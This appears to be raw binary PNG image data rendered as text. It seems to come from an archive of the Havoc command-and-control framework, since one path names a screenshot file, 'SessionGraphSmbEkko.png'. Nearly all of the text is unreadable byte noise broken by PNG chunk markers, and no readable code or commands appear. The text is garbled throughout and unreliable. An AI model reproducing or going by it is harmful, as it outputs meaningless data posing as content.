(ޝc31Fqt>kq>='W@A{81M1Zsrϯr(]Ll"r~ϳ8;wKЦW??y~C ^TQv-]`Y!bIFBX ?|~y++>gΞ;73wf^!=w.@ @`K99æ5dڳP{{FOXE*>-I!h^X\cp *_(4А毿5Xl8e8ڄ^'AuKK' i߹NU*ҧOw=]/R*'O5 Ɍ 4En^a;@`*1LA_꫖LXzqKWt |i nN:2ho B @ L;d &cY4pri?577uhZ3N ̀#y . zwNN @ @@0m21gƧ7h*ȱS3paC[F.677+$2ll]MnJ@ @ Y(Ø~\3wgX .NK @ @1>D 7/p @ @2d c _\XoH @ @` c}R=SkAE`R$0n8a@ @ 01Lse%O(.}8Ofd .ˇ @ @3[ô .K|OinTd$^]\;~d 3& @ @\ :%'3hXm hRvE'J.S]~9jmF,hZJ׹B~386==>~aNX&f-@ @2i1bux.0.dO'O.Zپ4a;Ycƺon6 GF׬ۦPڲ޴Ƹp3&F9<~FeYD,WVz | 6W}bYvhФ2iw_ C @ L\ô "o,x]<@s;Y2@TV^z^=geߧ& S1x d\yRgύ^8;(Z6/s'P7++Ŀٱ% @ E`e奌3G#`_@2d +chlpA7苗=nZUX@t詎VRPHssmLf ; S}}ݹQee{kEV~~=[`*UI굛}}ݯ^F}3[ 2rd"%~Akl_;N cHH\Riϟ?yz-߹NH݇ iEeEBsz_Oz.4lk7/^c;4|g \܂)Z^C71Jէө=?$^Yt+Jd5"&(AtkcOwOQdq"awu*NR{yxG@ @\ :vY[{seeu;_IMkhS*eIGnn lYQ<5tLK)Ijy"c!-fOhAAA <砻vlkoWV-M"'4eKLTʪ*XG?RZI.{߾-_`pU;[_r췓Gu˗J&vBQssóɧ6z݉MH+vnio 1l4n;:n @02; (ϝOw Ȳ(zА&h^Y=~ے@▎v+ "F߿RiOS(zɎnE::굛[j mI< ^>$WXa'˪ %&1<oPRve5[8cjU;w r%/_X'b;w D[S(zcW <7lڥөBÖ"1TU}9|䤻|tVwG㲙}qqqWWAGxGZ 4rÓ|ڈ/@S/ave |(*foҮGN rR:y! 'PUKd8cشyw%<rr-RiǓ*g *U8JڟOqӹgo޾~#@t SG3;Gk7a^^HdRiPwg ߜs`{ 7cX ICv6Үx?a}CG>q͟ m6.^CCڠyvQTT&v?V>h^ę>:t췓mM4Txũ?_ j @ )'cz%斎,jjSJ<  u'O,z[&9ò={-[QPP`zYn{PLuF$w8o{H$>iFcqKVjJ^׽(:`K\e䴵7M=TYYamb1Ʀ<^)Hp"L_DMf CCnqiZ @`1Ҍ/m߱_SNҏ>de<}<ZI GYNj݌c]ɭ4B,8ڻ2 I;޺}9qưvvĽǼn1f ܓ9Jq373'OF3q d0Np 1\KU^^F9c u9!|s5d 3F߯jE z %&BffaW珆$7'3 ٳgdGR>sh0F$chmm"5-_x =[1{V$L @ Lf s̄W]/..6H~m!&v^vGY.>f!3 7ϞmAgzXD\gב)@|*k̬9f'O]C[ۚV&5vݖF&W }ࠚ3X۸V0n!&vYWW{ a3@hUk6={|hHC'0n[c0'pnxc{J޽%/w2 )@02FÊJe2|~akO)+;'%*y)%n:bF5yPL4rJ*yЭ%oȎa--K ٽ`yEA7W'Dw㮎4R)S*e:jhHTHBwc&}7Y0,[Se܏P 05fWNNP>{/[Z]]ŝB :v7oJXf09 jyeeO(&rʵNRVWWGM''tv].),,q RQ&Loݺ(WBx,^'uSP&F9<~Fe_ JH\g1{76+/$lP::Z:|OnظZkmmYaxX(ɼxa¯1*U?jR* ӣ i? Lc$7c1/ɧJBE &'cz([wCOG @023rs󌟗U֬*U_fVv; ,_N O\fhHK~? n#lŹyMMWGc%iYm死jj ml3ꃇ>|D>_04%Gq=w?! p5 l L2i1論~}U}Z\܂򞰈I텍!~¡ u4;'GŘ͋ sYWT. aE! F3c 7[wIeF1/8Ԍ8a/\LhcM(77E  @ C@`֕,d WWW)֨T]dw{Xǘۛ[:*svnvBTcXOy2Е62AW ,^rpj2ãǏ߸E֕11T&Yn 7x=) \fu[T1Gvh5؞fe t41xyo޲]SCCk.#a]aBϰUUee, ~21;'38~'?򩟗 .~^>?O5s&&"0o_~"H 9y 4zhHnV:8<|HdKVR^t=Lөli휒rU,n~YNba#6]ms|Wa۶' @ o |^QtG+4E@`h|*^] EаXSr~V__Z-]'l(JL,1laQLLtl򠤝={h4U3 z]мKkgJiM/ZR*{_H?:Iǰyvu }BJ޽{TeF_TJiɾ 5##*FA^0{3--:3=lLP@' c6Dz3c_}nw] qŌ'6~F⻻Ŗ?q @ @ 1aQ|2qn`VNfAaMugK|@ @ k c@0@3Nkc?q+ZeGGGB @ aT :R!7 w>wgX .N=g@ @ 01 cSd)*!I |w0=:@ @ !aI N6vr\u =LIf=W@ @ 01LɹH\_ F5>!KFrTXXfMW@ @f2vtNg`ߟڒ6tS줋O,~][/.s@d&Mq ˇ @ @NôeÍGk SS So<B,u񖨁)d  @ @2i1D\5!E`lld !aK@ @ i'8uUU_ Z-:E?}PW&m"sz_Oz.4l)_ /zZ.Q-1+~v-ڇ/ۏe]R%:n3ᴻ!@ @f2d Cggsml=v;/@TΞ,Zfk]HPUt:5<*,,w DA"~/?[33 zFg2`-Иj\&^ɪ5$;=Nh4 NU__C+Q @f[Ks.Ϡ4}!@`1 c**JK?'.`cI\_JWv:H3rsԫ7$ff J+K*on.m=z`m"I;ladm"t"w/7={ذi;2)@c7WVVp),/vu+ =ky kfᐖvG]PP0~Xv]^s~Vll[b@w\=T;wY۸6x~@;7ڲ]]mx kn阖vS*E^d˘eJiOi<;_IMkhS*eIGnn9}_QS[44eKLTʪ*e#^b_X& =W޾!99]]mjgG& \Ed75իƦM˭ع]522@/g^(C2d (c0t^#C\^tU!t$@&{H/oni$Td1)cUT2=<1a( 3^G2Kk/wCt2L2;2[aK@?(W]%=AwKHGg9yAkkӚC֎=^]]ڋX{QyEYzqT>%C3ǰVN_ e#@qOO>qqq󯯯!VNruuJO i4a/^. q{P__3L4/B&hfaٶkAF֭ZQYNFB6oicryCx 4>IS.^nfaQN. " B,-nL{I6>ϥjiӢE܌anp$rG۰i^Ѡ\YYq '?"4 c&LZQU]]y9%[LrwDT cxR=SOI 60>H^C>JH\Tʸ <׮.vd/1">{,77ڋZ_B.{UJ+3 @3[ pn3{CxFAzj&{'N~G99윜B%a˶|cWG=/]e-[[hK|s/iJڎV*2Rv=z[4_|>qo|CC+<][\\LNF,n#3!cne5t^TQYgq+ GߗvǮ>Pq372nXM@`߁}ۯ?.޾!I+VoH:&x+cq L+ NRXTHe3>|xknm޾2Np"L'i -p3x(@bd (c DQ1K>k4JBk _ |CK]yGm D}I/|иq2kij\S$d~,fEV;{ZںKD++]]mo1˂۶xʥWJC[{Zڍ>Л@1*|E*[X9 k_&%vCg6o}.i0+MM+֓>aq !:!$t7@5o^o@`hoo'Mf7n=wb 6%+޾!K?._}| R'?^(C%p셲<͒1;933xϞ=LYZ; #,a^J1N6)ҢE+":;M$`GFVY۸dfe18y;[@`hk[Q@ZnKKK|Z3~d`˺_rҕ%@G-Mz dH;w{{;Үwv9ͦx HS?.ad %oCgU_dv!K # sTUUw)))WK<[Xcs/ 7c 0!M|*ُg 9zv>=+1좨!kbqIDj-:{bd3 6Q@` d ɧ:j o^}ҘʩUY9))Wy ki}ɵ;? I~>yWυ)]]mvB  o ;p 2^[@g--gx ++IȃV|sӆ3<. _GB̘́ܿCF0Ӑ$qK.zVzے7аؖ%,(Tm1;zWVVwؠo;Qov/_*kyA  $ad ~^>&yRݬ8Z~d>z瘿0/ ^v˶oKސynL/..~aK8]I4c]68!¢Bz/p}ɝ|RcnbctB[ FMى i>J$cXv^#pd d{F}H֠B DD.g䐮 ӟs̄]m̫WGVZU̬]rpPV\nAv$O* =+Oq6 `10 uoqq1wŽ*{NLj- ;7;?lld f CcȌ{siA Z۸8I}Ylش8*tιyHbhcJqKx =O& g  ֺغŊc؄##c&ࠚ7nэml]A2u[h=wz!q غr#v/*tZf\C~I[:.3tعgH]ξ#ǰcҦP 01)0;vqEvH&򮤔+T7o^,1,_:22nVÚ[:T}Nڋ^je ӦMMZRSuu%>}uAi4 &zW۰iVQh4 g߫n0}ރ]]mtaM^˗ʜ骃σTzP fǏ5N_dBoߐ~Xv waZk%y}62rQJB!-,*$254c 7Ʀoe@n/^P{2雑F:Ly7iw84,,߸׭V_}as+eeď@W398>a^.O.{joohmeeyry ܞ4կь4y {v_7j&e7Kk1|s.ӉN=/8rj@ @ 21~Zg ޖ.㥽[|gfe@ @ 0aTt9CS 0ocZ-$tw] @ @Cô=W}]B)! wZ  @ @,@0m2'BK"Rr}'S4,ɡ?1!DG29fBo߅Uc- N䎅˄ @ @1ޠ?qR=Ֆ*e']}b2z?uea.Iwkvez]hI텍!0{&Mb_톁 @ @2i1bux.0.޸G Dwecq/6{2cg@+ஃU@ @ $ad 7WZ-V/ݺu3[Nĭ@0n@ @ d (cpJg.:z~ΘI*UFT(z.,(XJU}|/_Aߕ03L"}'xx}w`@c@tmRHH\WUE*(C`f c0` @ @`& cE]**+L64T Wl4ZZk& W,_/%i} \܂H`zde߷ww~|5fqR '5#"Qggsml=v;ѧWLeZ @ @ 1̢!njLr-= ;߯pt'&3BF6س_ z[RrN&JZrNG&:OE{z= Rfzwt! eo$\! c0` @ @`& cE_^Cxd…W^&3tҲ Dr=f N7vr uqIWݼv?Cܶfݶ&܋J;$lYo; 1ߝ1adYfe%IﻖаXF*z52e{m޲Qww]Jq=j @ [1=VoQ++iOD2COa˶}dw%q N_Tv>@qےWAsRiSg(C`f|wtpI$]3<ݝ>eGGƉ` gWGvT}bq[TL;Yyˮon6 EA##ѱW{,hqo3F14~F32YRED.c&ttv6_us%,"n  @LpuxR){ܽgmcQz`عqlYQ<5tLK)Ijy"/ﯿYbb~R*==gsw傂֊|%5NI$ydx k~EMmU$oҤ/2R)Xb߷Hi'W.}=cn{~E4&݀[r."w^76%dY`vqxMJ@?[,QKkSMm_ r:2eɝxPOs8S-34l| Q1ˇef+6^|{!_ rq :{SU@+Csn@M.>qoe⹋ɻ/޼y-t1;Y2~.q@nn{g 4޾-6aH噳|d cA@ -PZӧ6..n5/v +'o>{]]CzzkIKWZ[EA6.yk E(Ҥ,:;v>hȺ[+*H-; ryCx 4>IS.^nfaQN. " B,-nL{I6 !sZZ;4>}u'X-WVV=vŏ,D#--# Vojܽ B{{;/vwI^} @`1̮͛7yIXܖr%v._Qi4J. S ޕD1 ,W$w2ɘGg-[";Z-߹_ |CK]y\P A_;x䯮ː8?u܀?u&o O={,77nڋZ_B;pY*ҬɌ IL& \y [^^f檪/_*}Bk|c\8t7Lbf1:YG,/m2?b1]np[LȂKJYCC=L 2eJ#eKV{Gg_ nvBl]__PHKc o=0~^ q9%칋yRdnpğO. =2!^}.id'JNz~Dū"ҮR*emMLwE/@ 'Dy3(77OS Wִ04[X,n]`~}<5pw/mي'O~9歌zcX;G}ё cnѺy.þ.~M\t+gawlass2ih܌a޿ƅعm^>|wZYWWM'E'ξY1f cҽP 0MƠZbХ8Ϊj %@`|w0&?2yظiVL>}(1! c#G{^[5ڭlwcXwQR)jZRpr+Zۚ<%^NI%_T'R(qKܿ xXKrUhސq͟􆷵7KT`d\Jg,WLdvAUV|ټu{@ee y TՃj"F~߰M. _̘ۯZi`@4/ǰ$cطSܰѷ%o*l]QYffE 3 jOשT}aqXzrJ;w?}/@ 08c9f»ٲO~&˴v3 ڪU6AAGN<mɛ֭*IG2Kzy\옞q;-Iϫ׮{_bncXLuF$w8oG7D"HH\MkH!iF0l]5?hvNN[{3@T-ET&==Çwξ斎۶.( Y$I~$n0/@S,ad ~^>&ỳY\f1vah׽a MM+F_o߯ 3c;k-v-oFF;ǰ ~X.qs4h}Iffa≮}$CCKV,7lNV'1<454m20qƠ!{\͹@RКϥϝDW={F1{|x9%dri c;ūRR @ 0KΜPVǰ{" ֮B/?33xybb:Kk$1l"2o'[[ iEQz{i<,"Hz8v\v@|*k̬9f'Os'  mmk"?s]o>r27cA 43g/RiW;_܌a^@  )@0m2يK,3r#]%i'vQTАF5wq f WTVVYބ3\^TT-&[kHV͌a# ԖuW屋o^yͥ'PYYqij1Yyw%|DW3n{W^gR)ȭ}F'#hye :2Aa&vF @`;p 2pr7moiiIkT& [ϵr1l}}Micb =+FGB̘́!#e2IҤ)޾t (4,1V|g/3+; ή35Y9d/^Џh!33+77o877L87K 1a7oUS[E|:֪A0Aڝ[o㌁1omm2I#-s3 }Q 1>_ B3C`R$ 798tGnaA/>|xG?]rpPVTV,_Ζu1_UDR}hA5x? N(1Դ ܐ{yoR͸ۭOkј!8dА&"rix䒪3Ww6.1L)gp?1[`>Vm.[6"ri}}MGGkvש-jG ||<5+L"c0U@ 0;K m\\k9ɈX2ٰi{uu=!)I(Ȋ3:JW^^O2;GTJkj~?~1vz.:v==Kk甔bq[__˂ܟ1]IBQ9nj4ek{ <F^wwOAAτǰ bhH_g6&vA.?ǰ[ihU*edd3æ^MS*emͻ<~"zI7V|Q*e--t6 1 i5ǰc"c(@ , O.w/iAh^O)N(sYX9]q[.~M{߯W}^u¢B2A; zwyOٳP{{FOXE*>s7uA", *qWWschHC~a&J{𰫫MEz-T4~:hNU*ҧOg.F)RX&$&'32200hyy<6 @0fzNLe&Mcvb'96 @ @ c@0/i43+ϓ̬ @ @ c}R=Ө LIUKƙ}#}Ւ駖j\&g!S @ @ 0)d ~X 3U3wgX .N @ @G1>=~P`R$q W< @ @O@ƀaLZ_ BSah @ @@0fzї @I0߽# @ @@ƀaL&%a%l@ @ 01>I~ IDAT9bc@`L @ @ cXd =R<d B @ `d cOguPe@`Z Lf@ @f2d c L]<~l0w, uț.  @Io-+/e</Q~x7nkmo˾{oŋ?nkֶ{i{|Cxɧ7mZsgۇI|ogΙvɺ_-_b)~̟Qg9lܓO=ot Rh[4F@Ǡc $-5ip){W?Ѿն}-frzW=C3 @[ŋ?~ׇ;vV}6 Ґ'{J뮙?]rEK͞O qa㮽#X(N<錶-wBt!#ocfgg ϟ6ACF:gfm)_kT.9ZF^{n76t[o>!CG7nܸnWg?|ώaoذv˖Mc8m9[lzǾzcupδ|K {T2Ә h@JR}kɴoo_c?VNg1;˗mؾbǔ~i|۾ MSAZ((K-57T5oMUCx j ttْo1L>uj[ۖ{Uc5BqꎡBik<&@@]t :@W yw *mϭau?AZGN>u!YqǷo ywk׎?*w ˗/[FQΛ[o*O8= @R$p37lX[(‹/Z:{U| 2?q3=a]]Gl}?0{ϳŕW]u[ɓ*yY|ʮ%_{'|['lzo.KSϽ[/{oQ'{Jk놋.B4㊫[[7;rU}/'6ba-GΞ\[ۖG}r9s[Ui3=;W^^:S޶"}t g P?C0aJ3 ZI1R z}t K|w gB݅O{_v[ӻ:xryM< QTx-ZTn#G۷wE14X[N8qu/qU_yݚ5_sܩݞۃTߴP,sܩoV[ۖy=/x,2_zs͛{߬pΛsgի_7T:SlK#|~lζmo @ F[o'0 #y9r57Yef4蓶nk>P>0ty:P,Z٬.ٷoa-GW\ 8xy̝[۶ጇylӳ{?8ik|yYtM7߱tْc|zn+>GvZ[7޾}gގmL->1f=I  {T2X)zL@JRs >O+"N}kR<ˮڲeOw|g;/(?.c1T^yw~ɇof @Hg]̝[p |1 jܺ7mjo3~r1_zyNcq}{{~s.[{ƟT}^zy' ҢE_Pի{|1x[ןr9ݮs7~=QU G{.O[P9i=&@@t :@%$ 4c(׿n /1eQ ]8gg5xsXˑ+V,,KG?mm6bƜ;':sǟ6hACF⋋_aۘ @ P[Ka#Ǝ{ܪU=?S+PaŊxm9}Νm_^{Iy/Wؾ}ǝ[B @@]ƍ?Ooc{[ۖ_|NrNWW'V~X˄8ig* nΝm.zw1QX]vڵcɒO. ; )`EwuuVkt-w_fbE\wuuN:̃d[_ݨM8ͭi߲eq>P,-x͛ו|G޽o޽c'8F=1[]t۷wގݻw_P,:ʻ< @@t :@_#v Q܎ @ @ o:` 6&tR'C޶4%@ @hAH]k(0 rz?> @ @(K:` &04$ Tc?fiGkѶ4 @ @1Ig@14~?pG @ @:` =5~$Tc]ͽ @ @@t :@"W%+C76w$@ @h!G%LM D$14ls# @ @t A^I@H@PE @ @)c&Q`(^<9ZIcHNiT @ @!!(h D@~nY(,]< wgf_9n7rAu͞Wg @dL'7۷m /1P,M>ujWWgCW=CK7o^7ԩbi?3[ٶ݅GOYΝvo_7>/^y[o~ >Ǟ˕Z[7̟/Q~x7nkmo˾{oŋ?nkֶ{i{8xM7߱k׎g=}[W^u-wV˗Us-|wa5zիvlrW\ݞ9qO>}{+)Kv{o  C0aJ\#ZI1|5to|m߸e?Y^sϘ3w#>Q qa㮽#X(N<錶-wBt!#ocfgg ϟ6ACF:gfm)_kT.9ZF^{n7ac֬__aАmm[~x-b~{F=/_lO=Wir5f͗'O>A-3zϞNߞ6-[6=c_cp^gZ^  0!( $\1L;74Vw ]K}Bϯo|+/.rzm?||acӟf\<};Zxc={_z/tْݻwڵF=֭7熍;losX˄ٳkT(s]|-WX>t{L @@8낮ΉǜR(uj[ۖ{Uy1ǎ}LXڸq]uPyA3~!W3A?%@@ƛfFu *mϭo\tܰͧqʕ+NϏR8=;WL='k׎3κ`Ϟxck91 2?}[F{^ywbiN?οtǎ3ovƍ~>롃|AC7g @8p[oaBtР^|mS6棏?v<&Yɧ/ZO|Vq3κ/WvuuV'{'u?_>xmZͅbir]{-~cOimpWT?Y(f\qukqG Wam,h1.5W3w_+_|YggkYNEf>/9v[oz%L>mZg*BCh7z@t A>bS?"@?>oKn/a=u֭yxoy3wQ{Î[BRK..^h3>W~.~YggGjO9s|p˯o~}!֭|daɒO>ο4C zN3 @I~d'b[< ޽߿^zokΝvIWWƜ4̟zP,-|wᳳ'ܿv;.|wSwuu5O?MyrrO-Z~F}9 jVNvf\UyW^f͗wjCNr΢Ee˗VzGM:i_8'=>B4# [lںusشi] 1fZF  C0aJz 9$+[oa1ο|S~_۶V^kP}lO>,;kot 7tƍC< ~Gy|㎜~^zW_}Q~a-ů7߼yݽ4dTe0 @ [o'0 #y9w57Ye僗ON8Z1 >f޼C.KV}6|K{Xˑ_ s͛3wnC۶ጇylӳ{?4ik|yYM7߱tْ?AnÉ'uq[7W>Ⱥ{~_}[|W{>Ch=[@Ǡc 06e5t ]I j>/{;w-]cֻ ;o;ʿ+|W9~x{/WhѢ7M RqK/j˖M?կ @ yօ_qܹ7;3pРͭǝ;o=gѱ~ybi۷ x)wϼw13o-K_8oG Ҹ#'x4tXˑ+V, @ @`,|g؈jg%>S+PaŊ=?nGkm0~¤__,lSϽxġG 27;wēmk?$po3v#=UE]|ž}{ϻಃvoYO=l#=|ӭZu+2^t~r>碃we{_u 7rPHnںg+i~z~7Qym޼c-̝?W @7?mm[^|Ӧ9a27N9}Zʃ!CG?۷sgۻޝx_jT(/xe׮vX % IDATBwz=<˻:o;ׯ_{?_1O.YIy9xؘnO^w!G޽cm;ʿ'v?[ӾnW?go_ʫ7+(?_f5_ێ|={۷TΩߙ޾=Py梋(f߾{v޽cbיV,c&d~+ yJߕ @ @r(c12 T:ܫ+)) @ @4R@Lأ^C@*+IJϯO/h^ @ @:CP q)@c]Inj1~~3ڮF @ @:`^Ik9 ZIWRw$@ @ +c1) T:ߕ{= @ @  {%_d^H @ @ V@Ǡc d>5A t ߕy= @ @@st =*Oz5P]Iܝ @ @:CP q)@c걇& @ @@st '5A&8y1 @ @@t :U"@Z@} @ @'c&Q`u1*Q+s \ @ @:CPz@t غ\ @ @ !:` 8F-8ǐ0 @ @)c1y @ @@t =*lLX.N j%q!1 @ @,c1R0 Ś; @ @ :` &04$ 8ǐM  @ @1Ig@t 5M @ @Z@LأǠO@V'  @ @/c1,\ ! @ @t =*Ufj_ j%qa7 @ @4E@Ǡc ?EJB:mnJ @ C0aJC ȹ@JCcv>w!@ @Ay4lj"cv: @ @ 1d&Y =9nD @ ЇA^kF/cc# @ @  {T2 H@JCT'@ @M@Ǡc "5H 1m[5_ @ @@t =*Lxix4K j%q!W @ @2 c1ɺ/, 2S @ @@H@Lأ,EB@ VB{  @ @)c1j  @ @@Mt =*m~j-8PE @ @&c1NN @ @@t =*O5P j%q; @ @Aalj.c8-{  @ @.c&Q`sI$@ Q+s 2  @ @AFk+c @ @ K:` 67tw+8ǐ\ @ @y1 m @t yJ͑ @ [C0aJSx*ZIcfl @ @ t AFE :M @ C0aJ(8П}k @ @#c10Zv2Aǐ H @ @j.c&Qɠ, D$1|sA @ @ t A^SO %c @ @1d0*sb#8  @ @bt :@~R`3%P?C @ @)1d~+ j9mJ @ P(t :@]' @ @ :` &$4 &8ǐ @ @1Ij@t ;M @ @,c&Q`Oc&@Q+s f @ @t t AįnA :tmFK @ %c&Q`sR$@``Q+s Q @ @4]@Ǡc ,Q.t M  @ @~:` VG @"8PΕ  @ @!c1*! X@P5  @ @"c&QGo$@ Q+s   @ @:CP ɯh @ @Q@LأƄB@VҸ3 @ @ :CP uaH![ @ @2/c&Q`MC"@ Q+s tM @ 1!(|]@ǐ]t @ @t =*L{ jI j%qz @ @ :CPNȕ! @ @ X@Lأ\e&K@Vy# @ @@St :@ST$@ $ch @ @1d0/z D$14fs @ @Z t AGæO&:ZmWC @ @C0aJkEZIcH6iH @ @}t A쥽fD:>v ?"@ @H!G%.ݑTD$1}O5~ @ @@t :@*\$pC޶U%@ @J@LأG@Vr, @ @ :CPYȒ!;) @ @t =*R$j.P j%q!Wy @ @ :CP1Kȭ!Q @ @D@Lأ&N@Q+s 5\ @ @a:CPO 菀a @ @4^@LأD^C@V # @ @t AL:٢ @ @ :` '5A&8y1 @ @@t :U"@Z@} @ @'c&Q`u1*Q+s \ @ @:CPz@t غ\ @ @ !:` 8F-8ǐ0 @ @)c1y @ @@t =*lLX.N j%q!1 @ @,c1R0 Ś; @ @ :` &04$ 8ǐM  @ @1Ig@t 5M @ @Z@LأǠO@V'  @ @/c1,\ ! @ @t =*Ufj_ j%qa7 @ @4E@Ǡc ?EJB:mnJ @ C0aJC ȹ@JCcv>w!@ @Ay4lj"cv: @ @ 1d&Y =9nD @ ЇA^kF/cc# @ @  {T2 H@JCT'@ @M@Ǡc "5H 1m[5_ @ @@t =*Lxix4K j%q!W @ @2 c1ɺ/, 2S @ @@H@Lأ,EB@ VB{  @ @)c1j  @ @@Mt =*m~j-8PE @ @&c1NN @ @@t =*O5P j%q; @ @Aalj.c8-{  @ @.c&Q`sI$@ Q+s 2  @ @AFk+c @ @ K:` 67tw+8ǐ\ @ @y1 m @t yJ͑ @ [C0aJSx*ZIcfl @ @ t AFE :M @ C0aJ(8П}k @ @#c10Zv2Aǐ H @ @j.c&Qɠ, D$1|sA @ @ t A^SO %c @ @1d0*sb#8  @ @bt :@~R`3%P?C @ @)1d~+ j9mJ @ P(t :@]' @ @ :` &$4 &8ǐ @ @1Ij@t ;M @ @,c&Q`Oc&@Q+s f @ @t t AįnA :tmFK @ %c&Q`sR$@``Q+s Q @ @4]@Ǡc ,Q.t M  @ @~:` VG @"8PΕ  @ @!c1*! X@P5  @ @"c&QGo$@ Q+s   @ @:CP ɯh @ @Q@LأƄB@VҸ3 @ @ :CP uaH![ @ @2/c&Q`MC"@ Q+s tM @ 1!(|]@ǐ]t @ @t =*L{ jI j%qz @ @ :CPNȕ! @ @ X@Lأ\e&K@Vy# @ @@St :@ST$@ $ch @ @1d0/z D$14fs @ @Z t AGæO&:ZmWC @ @C0aJkEZIcH6iH @ @}t A쥽fD:>v ?"@ @H!G%.ݑTD$1}O5~ @ @@t :@*\$pC޶U%@ @J@LأG@Vr, @ @ :CPYȒ!;) @ @t =*R$j.P j%q!Wy @ @ :CP1Kȭ!Q @ @D@Lأ&N@Q+s 5\ @ @a:CPO 菀a @ @4^@LأD^C@V # @ @t As IDATL:٢ @ @ :` '5A&8y1 @ @@t :U"@Z@} @ @'c&Q`u1*Q+s \ @ @:CPz@t غ\ @ @ !:` 8F-8ǐ0 @ @)c1y @ @@t =*lLX.N j%q!1 @ @,c1R0 Ś; @ @ :` &04$ 8ǐM  @ @1Ig@t 5M @ @Z@LأǠO@V'  @ @/c1,\ ! @ @t =*Ufj_ j%qa7 @ @4E@Ǡc ?EJB:mnJ @ C0aJC ȹ@JCcv>w!@ @Ay4lj"cv: @ @ 1d&Y =9nD @ ЇA^kF/cc# @ @  {T2 H@JCT'@ @M@Ǡc "5H 1m[5_ @ @@t =*Lxix4K j%q!W @ @2 c1ɺ/, 2S @ @@H@Lأ,EB@ VB{  @ @)c1j  @ @@Mt =*m~j-8PE @ @&c1NN @ @@t =*O5P j%q; @ @Aalj.c8-{  @ @.c&Q`sI$@ Q+s 2  @ @AFk+c @ @ K:` 67tw+8ǐ\ @ @y1 m @t yJ͑ @ [C0aJSx*ZIcfl @ @ t AFE :M @ C0aJ(8П}k @ @#c10Zv2Aǐ H @ @j.c&Qɠ, D$1|sA @ @ t A^SO %c @ @1d0*sb#8  @ @bt :@~R`3%P?C @ @)1d~+ j9mJ @ P(t :@]' @ @ :` &$4 &8ǐ @ @1Ij@t ;M @ @,c&Q`Oc&@Q+s f @ @t t AįnA :tmFK @ %c&Q`sR$@``Q+s Q @ @4]@Ǡc ,Q.t M  @ @~:` VG @"8PΕ  @ @!c1*! X@P5  @ @"c&QGo$@ Q+s   @ @:CP ɯh @ @Q@LأƄB@VҸ3 @ @ :CP uaH![ @ @2/c&Q`MC"@ Q+s tM @ 1!(|]@ǐ]t @ @t =*L{ jI j%qz @ @ :CPNȕ! @ @ X@Lأ\e&K@Vy# @ @@St :@ST$@ $ch @ @1d0/z D$14fs @ @Z t AGæO&:ZmWC @ @C0aJkEZIcH6iH @ @}t A쥽fD:>v ?"@ @H!G%.ݑTD$1}O5~ @ @@t :@*\$pC޶U%@ @J@LأG@Vr, @ @ :CPYȒ!;) @ @t =*R$j.P j%q!Wy @ @ :CP1Kȭ!Q @ @D@Lأ&N@Q+s 5\ @ @a:CPO 菀a @ @4^@LأD^C@V # @ @t AL:٢ @ @ :` '5A&8y1 @ @@t :U"@Z@} @ @'c&Q`u1*Q+s \ @ @:CPz@t غ\ @ @ !:` 8F-8ǐ0 @ @)c1y @ @@t =*lLX.N j%q!1 @ @,c1R0 Ś; @ @ :` &04$ 8ǐM  @ @1Ig@t 5M @ @Z@LأǠO@V'  @ @/c1,\ ! @ @t =*Ufj_ j%qa7 @ @4E@Ǡc ?EJB:mnJ @ C0aJC ȹ@JCcv>w!@ @Ay4lj"cv: @ @ 1d&Y =9nD @ ЇA^kF/cc# @ @  {T2 H@JCT'@ @M@Ǡc "5H 1m[5_ @ @@t =*Lxix4K j%q!W @ @2 c1ɺ/, 2S @ @@H@Lأ,EB@ VB{  @ @)c1j  @ @@Mt =*m~j-8PE @ @&c1NN @ @@t =*O5P j%q; @ @Aalj.c8-{  @ @.c&Q`sI$@ Q+s 2  @ @AFk+c @ @ K:` 67tw+8ǐ\ @ @y1 m @t yJ͑ @ [C0aJSx*ZIcfl @ @ t AFE :M @ C0aJ(8П}k @ @#c10Zv2Aǐ H @ @j.c&Qɠ, D$1|sA @ @ t A^SO %c @ @1d0*sb#8  @ @bt :@~R`3%P?C @ @)1d~+ j9mJ @ P(t :@]' @ @ :` &$4 &8ǐ @ @1Ij@t ;M @ @,c&Q`Oc&@Q+ @ @K@Bɧ?{S>vjʛu-2ɧ̣/VJ&N @ ot c ȃ!͑ @ @``:1 lw. @ @<s$@oC>~J @ g} G; @ @@:ž<_  @ @&c1 @/v"@ @ȃl10G1 @ @y1 З!{ @ @-C| @^F @ @@n1? @ @ @)  @ @ @ : @ @ 0@RZ(6 @ @A@ @ @ D@0<.E @ @R*c1 @ @ @1 D-a @ @ @ t  @ @ @@t QaR @ @ @ )/ @ @ @c}BTu-?N>圃 @ @h@:2N @ @tH92@ @ @tHGP%@ @ @&pjy I2 @ @ @,kCpO֠c8A @ @ :C)u  @ @$A@Ǡc @ @ @"cZ!c @ @ @1 @ @ @^  @ @ @@t : @ @ @` :%2 @ @ \ @ @a jܝ @ @$A@Ǡc @ @ @"cZ!c @ @ @1 @ @ @^  @ @ @xIDAT@t : @ @ @` :%2 @ @ \ @ @ڳcaYC0V~S4ۅ @ @ @Ac @ @ @P @ @ @W@c @ @ @"1.d @ @,h  @ @ P4P| @ @ @@ @ @凩nIENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/SessionGraphSmbEkko.png000066400000000000000000003467361467014221700255030ustar00rootroot00000000000000PNG  IHDR8s=* pHYs+ IDATxyx {}Ek%DDREK;?jmRRƾFBJE"D֓=9ljHN$AUgyL^o=L.wkn 4׍A]k#hb CMM7E}ߗA ЌL S\GҍAW3ZkI7Z(tgdF2e]kл̠>W?BiGp#CD?L͓@ csC\1I4ՌC+6@Oy7=#xjVAW帺Ѫq$zuϠ<qUjz6lpkyϺ<1,k0^P1t=Mg3<3@1ccn˞y#"eub躪c]Zc]{s 4@Sb +<1s s940^u-K]3&/[Owg }6Gm}7}`jTAT|+Rz{?hYEq< RhjˠA/_ j;QkU4,6yxr>΍k~{SꝠy<odߛ˅2E/t8!q5QeW[)e}mWl\""VwJV4ں\^3fMD"eQ>v=|Z3&"V-j;adocK4fEKN#FȠk47@ O<{鼅LNa-eooְM]Yd/iB?Osy:Ђ7l0Z hCbp<>h!F"p߲ahڐep7='?WCBg3gOoN[<ݟ)Sӏ+U?ʰo~wX"ڽ{?Eꦛճ(Թ3&O8AQ^s93fL4]PxHYyEP ˴]l |@-smw˴Avu\7diE׵]Z{ D𤉊itB;jǡz _{|^ݿnE7W8;9ϲll)FCD{;狖-(0_ ƞB Ĩ[Y]x2(? w6q>}ڟBB>bN OE>0LDnQQ=s.\dnnFDBAUmD,yR^IDVDv|˭S󴼼XS*2M'o9jM4C :AwE#44&ĩS犋H(zo̾}5С۵ >|ZZEEнWdwa_K%DYu 